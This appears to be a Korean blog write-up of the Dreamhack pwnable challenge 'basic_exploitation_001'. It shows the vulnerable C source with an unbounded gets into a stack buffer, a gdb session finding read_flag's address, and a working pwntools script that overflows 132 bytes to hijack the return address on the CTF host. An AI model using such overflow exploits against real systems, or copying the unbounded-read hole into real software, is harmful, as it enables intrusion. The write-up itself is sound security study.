바이너리 파일의 보안 메커니즘을 먼저 확인해본다.
checksec [바이너리 파일명]
위 보안 메커니즘을 분석해보면
1. 32비트 리틀엔디안 아키텍인 것과
2. NX가 활성화되어 있는 것을 확인해볼 수 있다.
NX enabled는 No-eXecute 비트가 활성화되어 있음을 의미하며, 실행 권한이 없는 메모리 영역에서 코드를 실행하지 못하게 막는 것이다.
이제 gdb를 사용해서 파일을 디버깅하도록 하겠다.
gdb -q basic_exploitation_001
*q옵션은 불필요한 출력 없애주기 때문에 유용하다.
아래는 info func을 사용해 현재 디버깅 중인 프로그램의 함수 목록을 출력한 이미지이다.
read_flag의 주소가 0x080485b9인 것을 알 수 있다.
이제 C코드를 확인해보겠다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
main 함수를 보면 buf에 0x80만큼 공간이 할당되며, 128바이트가 할당되는 것을 확인할 수 있다. 이후 initialize함수가 실행되고, gets로 buf에 입력을 받는다.
read_flag 함수에서는 system명령어로 flag값을 확인할 수 있음을 알 수 있다.
스택 구조는 buf(128byte), SFP(4byte), RET(4byte)로 이루어져 있고, RET 전까지 132바이트라는 것을 알 수 있다.
즉, 132바이트를 gets로 buf에 입력하, RET에 도달한 뒤 read_flag 함수 주소 값을 넣으면 강제로 read_flag 함수를 호출하게 되어 flag를 확인할 수 있다
작성한 익스플로잇 코드는 아래와 같다.
vim basic_exploitation_001.py
from pwn import *
p = remote('host1.dreamhack.games', 12683)
payload = b'A' * 132 + p32(0x080485b9)
p.send(payload)
p.interactive()
이제 작성한 익스플로잇 코드를 실행하면 아래와 같이 플래그 값을 확인할 있다.
python3 basic_exploitation_001.py
'CTF > Pwnable' 카테고리의 다른 글
OOB Patch v2 (0) | 2024.11.04 |
---|---|
OOB-BASIC (0) | 2024.11.04 |